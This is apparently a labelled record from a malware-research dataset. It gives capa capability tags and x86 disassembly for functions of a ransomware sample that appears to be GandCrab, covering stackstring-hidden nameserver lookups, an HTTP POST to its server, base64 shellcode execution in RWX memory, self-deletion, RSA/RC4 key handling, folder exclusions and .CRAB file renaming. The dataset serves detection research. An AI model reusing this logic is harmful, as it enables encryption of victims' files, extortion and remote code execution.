joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005820
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], 1
mov eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 1
je 0x1000583d
jmp 0x10005865
push 0
push 0
push 0
push 0x100054e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10005865
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 0xc

Function at 0x10005870
Capabilities:
Create a process with modified i/o handles and window
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push esi
push 0x44
lea eax, [ebp - 0x58]
xorps xmm0, xmm0
push 0
push eax
mov esi, ecx
movdqu xmmword [ebp - 0x10], xmm0
call fcn.1000a020
mov eax, dword [0x10013d18]
add esp, 0xc
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], eax
mov eax, dword [0x10013d14]
or dword [ebp - 0x2c], 0x101
mov dword [ebp - 0x20], eax
xor eax, eax
mov word [ebp - 0x28], ax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x58]
mov dword [ebp - 0x58], 0x44
push eax
push 0
push 0
push 0
push 1
push 0
push 0
push esi
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x100058e4
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop esi
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10005a10
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.100099a0
push ebx
push esi
mov dword [ebp - 4], edx
mov dword [ebp - 8], ecx
push edi
push 0
lea eax, [ebp - 0xc]
push eax
push 0x1000
lea eax, [ebp - 0x100c]
push eax
push dword [0x10013d1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov cl, byte [ebp - 0x100c]
lea edi, [ebp - 0x100c]
mov ebx, eax
test cl, cl
je 0x10005a95
mov esi, edi
sub esi, str.Cant_find_server
mov edi, edi
mov eax, str.Cant_find_server
test cl, cl
je 0x10005a8c
lea esp, [esp]
mov cl, byte [eax]
test cl, cl
je 0x10005a26
movsx edx, byte [esi + eax]
movsx ecx, cl
sub edx, ecx
jne 0x10005a87
inc eax
cmp byte [esi + eax], dl
jne 0x10005a70
cmp byte [eax], 0
je 0x10005a26
mov cl, byte [edi + 1]
inc edi
inc esi
test cl, cl
jne 0x10005a60
pop edi
pop esi
test ebx, ebx
pop ebx
je 0x10005ab6
cmp dword [ebp - 0xc], 0
je 0x10005ab6
push dword [ebp - 4]
mov edx, dword [ebp - 8]
lea ecx, [ebp - 0x100c]
call fcn.10005900
add esp, 4
mov esp, ebp
pop ebp
ret
Function at 0x10005ac0
Capabilities:
Contain obfuscated stackstrings
Create pipe
Create two anonymous pipes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
cmp dword [ebp + 8], 1
lea eax, [ebp - 0x3c]
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x3c], 0x73006e
lea ecx, [ebp - 0x78]
mov dword [ebp - 0x38], 0x6f006c
cmovne eax, ecx
mov dword [ebp - 0x34], 0x6b006f
push 0
mov dword [ebp + 8], eax
mov ebx, edx
lea eax, [ebp - 0x84]
mov dword [ebp - 0x30], 0x700075
push eax
push 0x10013d18
push 0x10013d1c
mov dword [ebp - 0x2c], 0x250020
mov dword [ebp - 0x28], 0x200053
mov dword [ebp - 0x24], 0x73006e
mov dword [ebp - 0x20], 0x2e0031
mov dword [ebp - 0x1c], 0x6f0077
mov dword [ebp - 0x18], 0x730077
mov dword [ebp - 0x14], 0x720065
mov dword [ebp - 0x10], 0x650076
mov dword [ebp - 0xc], 0x730072
mov dword [ebp - 8], 0x72002e
mov dword [ebp - 4], 0x75
mov dword [ebp - 0x78], 0x73006e
mov dword [ebp - 0x74], 0x6f006c
mov dword [ebp - 0x70], 0x6b006f
mov dword [ebp - 0x6c], 0x700075
mov dword [ebp - 0x68], 0x250020
mov dword [ebp - 0x64], 0x200053
mov dword [ebp - 0x60], 0x73006e
mov dword [ebp - 0x5c], 0x2e0032
mov dword [ebp - 0x58], 0x6f0077
mov dword [ebp - 0x54], 0x730077
mov dword [ebp - 0x50], 0x720065
mov dword [ebp - 0x4c], 0x650076
mov dword [ebp - 0x48], 0x730072
mov dword [ebp - 0x44], 0x72002e
mov dword [ebp - 0x40], 0x75
mov dword [ebp - 0x84], 0xc
mov dword [ebp - 0x7c], 1
mov dword [ebp - 0x80], 0
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x10005bf1
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.KERNEL32.dll_SetHandleInformation]
push 0
push 1
push dword [0x10013d1c]
call esi
test eax, eax
je 0x10005be7
push 0
lea eax, [ebp - 0x84]
push eax
push 0x10013d20
push 0x10013d14
call dword [sym.imp.KERNEL32.dll_CreatePipe]
push 0
push 1
push dword [0x10013d20]
call esi
test eax, eax
je 0x10005be7
push 4
push 0x3000
push 0x2800
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x10005c7f
push ebx
push dword [ebp + 8]
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov ecx, esi
call fcn.10005870
mov edx, ebx
mov ecx, edi
call fcn.10005a10
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push str.fabian_wosar__3
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10005ca0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
push 4
push 0x3000
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0x64726163
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x2c]
push 0x100
push 0
mov dword [ebp - 0x18], 0x622e7265
mov word [ebp - 0x14], 0x7469
mov byte [ebp - 0x12], 0
mov dword [ebp - 0x2c], 0x736e6172
mov dword [ebp - 0x28], 0x61776d6f
mov dword [ebp - 0x24], 0x622e6572
mov word [ebp - 0x20], 0x7469
mov byte [ebp - 0x1e], 0
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
mov dword [ebp - 4], ebx
test ebx, ebx
je 0x10005db2
xor ecx, ecx
mov esi, 1
xor edi, edi
mov eax, dword [ebp + edi*4 - 0x10]
inc edi
mov dword [ebp - 8], eax
cmp edi, 2
jne 0x10005d2c
dec esi
neg esi
sbb esi, esi
add esi, edi
xor edi, edi
cmp ecx, 0xffffffff
jne 0x10005d3c
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 4
push 0x3000
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 2]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [ebp - 8]
mov ebx, eax
push esi
mov ecx, ebx
call fcn.10005ac0
add esp, 4
push str.fabian_wosar__3
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x10005d8f
push 0x8000
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ebx, dword [ebp - 4]
or ecx, 0xffffffff
jmp 0x10005d16
mov esi, dword [ebp - 4]
push ebx
push 0x1001036c
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10005dc0
Capabilities:
Create process on windows
Self delete
Terminate process

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 4
push 0x3000
push 0x400
push 0
call esi
push 4
push 0x3000
push 0x400
push 0
mov edi, eax
call esi
mov esi, eax
test edi, edi
je 0x10005e29
push 0x200
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test esi, esi
je 0x10005e29
push edi
push str._c_timeout__c_5__del___s___f__q
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0
push esi
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x10005e40
Capabilities:
Allocate or change rwx memory
Decode data using base64 via winapi
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 0xc], edx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push 0x40
push 0x3000
mov dword [ebp - 4], eax
lea esi, [eax + 1]
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x10], eax
test eax, eax
je 0x10005e7c
cmp dword [ebp - 4], esi
jae 0x10005e7c
mov esi, eax
jmp 0x10005e7e
xor esi, esi
xor edi, edi
lea eax, [ebp - 4]
push edi
push edi
push eax
push esi
push 1
push edi
push ebx
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
je 0x10005f4c
mov edx, dword [ebp - 4]
mov ecx, esi
call fcn.10006a50
xorps xmm0, xmm0
lea ecx, [ebp - 0x20]
push esi
movdqu xmmword [ebp - 0x20], xmm0
call fcn.10003490
cmp dword [ebp - 0x20], edi
jne 0x10005f54
mov edi, dword [ebp - 0x1c]
xor ecx, ecx
mov eax, dword [0x10013d0c]
test edi, edi
mov esi, dword [ebp - 0x18]
cmovne eax, ecx
mov dword [ebp - 8], 1
mov dword [0x10013d0c], eax
test esi, esi
je 0x10005f08
push 4
push 0x3000
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0xc]
mov dword [ecx], eax
test eax, eax
je 0x10005f08
push esi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ebx, dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
test edi, edi
je 0x10005f24
push edi
push 0
call eax
push eax
call ebx
mov eax, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
test esi, esi
je 0x10005f30
push esi
push 0
call eax
push eax
call ebx
mov edi, dword [ebp - 8]
push 0x8000
push 0
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x10005f33
call fcn.10005dc0
int3
Function at 0x10005f60
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
push ebx
push esi
mov ebx, ecx
mov dword [ebp - 0x10], edx
push edi
lea ecx, [ebp - 0x18]
mov dword [ebp - 8], ebx
call fcn.10008da0
call fcn.10005ca0
push ebx
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x40
push 0x3000
lea edi, [eax*2 + 0x400]
lea eax, [edi + 1]
push eax
push 0
call esi
push 0x40
push 0x3000
push 0x32001
push 0
mov ebx, eax
call esi
mov dword [ebp - 4], eax
test ebx, ebx
je 0x10005fc8
lea eax, [edi + 1]
cmp edi, eax
jae 0x10005fc8
mov esi, ebx
jmp 0x10005fca
xor esi, esi
push dword [ebp - 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
movdqu xmm0, xmmword [str.Content_Type:_application_x_www_form_urlencoded]
push esi
movdqu xmmword [ebp - 0x78], xmm0
movdqu xmm0, xmmword [0x10010c50]
movdqu xmmword [ebp - 0x68], xmm0
movdqu xmm0, xmmword [0x10010c60]
movdqu xmmword [ebp - 0x58], xmm0
movdqu xmm0, xmmword [0x10010c70]
movdqu xmmword [ebp - 0x48], xmm0
movdqu xmm0, xmmword [0x10010c80]
movdqu xmmword [ebp - 0x38], xmm0
movdqu xmm0, xmmword [0x10010c90]
movdqu xmmword [ebp - 0x28], xmm0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp - 0x78]
xor edi, edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
lea eax, [ebp - 0x78]
push eax
push str.POST
sub esp, 8
push 0x31fff
push dword [ebp - 4]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push dword [ebp + 8]
mov esi, dword [ebp - 0xc]
lea ecx, [ebp - 0x18]
push esi
call fcn.10008ef0
test eax, eax
je 0x10006097
cmp dword [ebp + 0xc], 0
mov edi, 1
je 0x10006097
mov ecx, dword [ebp - 4]
lea edx, [ebp - 8]
mov dword [ebp - 8], 0
call fcn.10005e40
test eax, eax
je 0x10006095
mov eax, dword [ebp - 8]
test eax, eax
je 0x10006097
mov ecx, dword [ebp - 0x10]
mov dword [ecx], eax
jmp 0x10006097
xor edi, edi
push 0x8000
push 0
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
call esi
push 0x8000
push 0
push dword [ebp - 4]
call esi
push 0x8000
push 0
push ebx
call esi
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x100060cb
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10006910
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0xc], edx
push 0xff
lea eax, [ebp - 0x10f]
mov dword [ebp - 0x10], edi
mov ebx, ecx
mov byte [ebp - 0x110], 0
push edi
push eax
mov dword [ebp - 8], ebx
call fcn.1000a020
mov edi, dword [ebp - 0xc]
lea eax, [ebp - 0x110]
add esp, 0xc
xor ecx, ecx
sub ebx, eax
mov eax, ecx
lea esi, [ebp - 0x110]
xor edx, edx
add esi, ecx
div dword [ebp + 8]
mov byte [ebx + esi], cl
inc ecx
mov al, byte [edx + edi]
mov byte [esi], al
cmp ecx, 0x100
jl 0x10006952
mov esi, dword [ebp - 8]
lea ebx, [ebp - 0x110]
mov edi, dword [ebp - 0x10]
sub ebx, esi
mov dword [ebp - 4], 0x100
mov dl, byte [esi]
movsx eax, byte [ebx + esi]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0x100069a4
dec edi
or edi, 0xffffff00
inc edi
mov ecx, dword [ebp - 8]
mov al, byte [edi + ecx]
mov byte [esi], al
inc esi
dec dword [ebp - 4]
mov byte [edi + ecx], dl
jne 0x10006987
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100069c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 8], edx
xor esi, esi
mov dword [ebp - 4], ecx
xor edi, edi
cmp dword [ebp + 8], ebx
jbe 0x10006a42
lea ebx, [ebx]
inc esi
and esi, 0x800000ff
jns 0x100069f1
dec esi
or esi, 0xffffff00
inc esi
mov dl, byte [esi + ecx]
movzx eax, dl
add edi, eax
and edi, 0x800000ff
jns 0x10006a09
dec edi
or edi, 0xffffff00
inc edi
movzx eax, byte [edi + ecx]
mov byte [esi + ecx], al
mov byte [edi + ecx], dl
movzx ecx, byte [esi + ecx]
movzx eax, dl
add ecx, eax
and ecx, 0x800000ff
jns 0x10006a2c
dec ecx
or ecx, 0xffffff00
inc ecx
mov eax, dword [ebp - 4]
movzx eax, byte [ecx + eax]
mov ecx, dword [ebp - 8]
xor byte [ebx + ecx], al
inc ebx
mov ecx, dword [ebp - 4]
cmp ebx, dword [ebp + 8]
jb 0x100069e0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10006f30
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0xf0000000
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push 0
lea eax, [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x10006f88
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x10006f81
push 8
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push 0
lea ecx, [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x10006f7f
xor eax, eax
jmp 0x1000700c
jmp 0x10006f88
xor eax, eax
jmp 0x1000700c
lea edx, [ebp - 8]
push edx
push 0x8000001
push 0xa400
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGenKey]
test eax, eax
jne 0x10006fa5
nop
mov dword [ebp - 0xc], 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0
push 6
push 0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptExportKey]
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 0x10]
push edx
push 0
push 7
push 0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptExportKey]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0x10
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push 0
lea eax, [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x100071b0
Capabilities:
Create new key via cryptacquirecontext
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push 0x10013cdc
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 0xf0000000
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push 0
lea eax, [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x10007237
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x10007225
push 8
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push 0
lea ecx, [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x10007223
push 0x10013cdc
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor eax, eax
jmp 0x100072d5
jmp 0x10007237
push 0x10013cdc
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor eax, eax
jmp 0x100072d5
mov dword [ebp - 0xc], 0
lea edx, [ebp - 8]
push edx
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
je 0x100072bb
mov dword [ebp - 0x10], 0xa
push 0
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x18]
push ecx
push 8
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptGetKeyParam]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0x14]
mov dword [eax], 0xc8
mov ecx, dword [ebp + 0x18]
push ecx
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
push 0
push 1
push 0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0xc], 0
jne 0x100072bb
mov ecx, dword [ebp - 0x14]
call fcn.10003f80
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0x10013cdc
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x100072e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get program files directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push 0x40
push 0x3000
push 0x201
push 0
mov dword [ebp - 8], edx
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 4], eax
mov edi, ebx
movzx eax, word [ebx]
test ax, ax
je 0x10007369
mov esi, ebx
sub esi, str.ProgramData_
jmp 0x10007320
mov edx, str.ProgramData_
test ax, ax
je 0x10007357
lea ebx, [ebx]
movzx eax, word [edx]
test ax, ax
je 0x100073e7
movzx ecx, word [esi + edx]
sub ecx, eax
jne 0x1000734d
add edx, 2
cmp word [esi + edx], cx
jne 0x10007330
cmp word [edx], 0
je 0x100073e7
movzx eax, word [edi + 2]
add edi, 2
add esi, 2
test ax, ax
jne 0x10007320
movzx eax, word [ebx]
mov edi, ebx
test ax, ax
je 0x100073be
mov esi, ebx
movzx ecx, ax
sub esi, str.IETldCache_
jmp 0x10007380
mov eax, str.IETldCache_
test cx, cx
je 0x100073af
lea ebx, [ebx]
movzx ecx, word [eax]
test cx, cx
je 0x100073e7
movzx edx, word [esi + eax]
sub edx, ecx
jne 0x100073a9
add eax, 2
cmp word [esi + eax], dx
jne 0x10007390
cmp word [eax], 0
je 0x100073e7
movzx ecx, word [edi + 2]
add edi, 2
add esi, 2
test cx, cx
jne 0x10007380
mov edx, str.Boot_
mov ecx, ebx
call fcn.10009100
test eax, eax
jne 0x100073e7
mov edx, str.Program_Files_
mov ecx, ebx
call fcn.10009100
test eax, eax
je 0x10007403
mov eax, dword [ebp - 8]
mov dword [eax], 1
mov edi, dword [ebp - 4]
xor esi, esi
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, str.Tor_Browser_
mov ecx, ebx
call fcn.10009100
test eax, eax
jne 0x100073e7
mov edx, str.Ransomware
mov ecx, ebx
call fcn.10009100
test eax, eax
jne 0x100073e7
mov edx, str.All_Users_
mov ecx, ebx
call fcn.10009100
test eax, eax
jne 0x100073e7
mov edx, str.Local_Settings_
mov ecx, ebx
call fcn.10009100
test eax, eax
jne 0x100073e7
mov edx, str.Windows_
mov ecx, ebx
call fcn.10009100
mov edi, dword [ebp - 4]
test eax, eax
jne 0x100073ea
mov esi, dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push eax
push 0x2a
push edi
push eax
call esi
test eax, eax
je 0x1000748c
cmp word [edi], 0
jne 0x10007471
mov eax, ebx
jmp 0x1000747a
mov edx, edi
mov ecx, ebx
call fcn.10009100
test eax, eax
je 0x1000748c
mov eax, dword [ebp - 8]
mov dword [eax], 1
jmp 0x100073ea
push 0
push 0x2b
push edi
push 0
call esi
test eax, eax
je 0x100074b4
cmp word [edi], 0
jne 0x100074a3
mov eax, ebx
jmp 0x100074ac
mov edx, edi
mov ecx, ebx
call fcn.10009100
test eax, eax
jne 0x100073ea
push 0
push 0x24
push edi
push 0
call esi
test eax, eax
je 0x100074dc
cmp word [edi], 0
jne 0x100074cb
mov eax, ebx
jmp 0x100074d4
mov edx, edi
mov ecx, ebx
call fcn.10009100
test eax, eax
jne 0x100073ea
push 0
push 0x1c
push edi
push 0
call esi
test eax, eax
je 0x10007502
cmp word [edi], 0
je 0x100074fa
mov edx, edi
mov ecx, ebx
call fcn.10009100
mov ebx, eax
test ebx, ebx
jne 0x100073ea
mov esi, 1
jmp 0x100073ec
Function at 0x10007510
Capabilities:
Manipulate boot configuration

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push edi
mov edi, ecx
push edi
call esi
push edi
mov ebx, eax
call esi
lea esi, [edi - 2]
lea esi, [esi + eax*2]
dec ebx
je 0x1000753e
lea esp, [esp]
sub esi, 2
dec ebx
cmp word [esi], 0x5c
je 0x1000753e
test ebx, ebx
jne 0x10007530
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
add esi, 2
push str.desktop.ini
push esi
call edi
test eax, eax
jne 0x1000755c
pop edi
pop esi
mov eax, 1
pop ebx
ret
push str.autorun.inf
push esi
call edi
test eax, eax
je 0x10007553
push str.ntuser.dat
push esi
call edi
test eax, eax
je 0x10007553
push str.iconcache.db
push esi
call edi
test eax, eax
je 0x10007553
push str.bootsect.bak
push esi
call edi
test eax, eax
je 0x10007553
push str.boot.ini
push esi
call edi
test eax, eax
je 0x10007553
push str.ntuser.dat.log
push esi
call edi
test eax, eax
je 0x10007553
push str.thumbs.db
push esi
call edi
test eax, eax
je 0x10007553
push str.CRAB_DECRYPT.txt
push esi
call edi
neg eax
pop edi
sbb eax, eax
pop esi
inc eax
pop ebx
ret

Function at 0x100075d0
Capabilities:
Get file attributes
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov edi, ecx
call fcn.10007510
test eax, eax
je 0x100075ef
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 4
push 0x3000
push 0x201
xorps xmm0, xmm0
push 0
movlpd qword [ebp - 8], xmm0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x100076d2
push edi
push str._s.CRAB
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
and eax, 0xfffffffe
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0x10013cf4
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x10013cf4
test eax, eax
je 0x10007692
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edx, dword [ebp + 8]
mov ecx, esi
call fcn.10004070
mov ebx, eax
mov dword [ebp - 4], edx
mov ecx, ebx
or ecx, edx
jne 0x100076b7
push edi
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov edi, dword [ebp - 4]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, ebx
mov edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edi, dword [ebp - 4]
mov ebx, dword [ebp - 8]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, ebx
mov edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x8000
push 0
push esi
mov edi, edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, ebx
mov edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, dword [ebp - 4]
mov edx, edi
mov ebx, dword [ebp - 8]
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret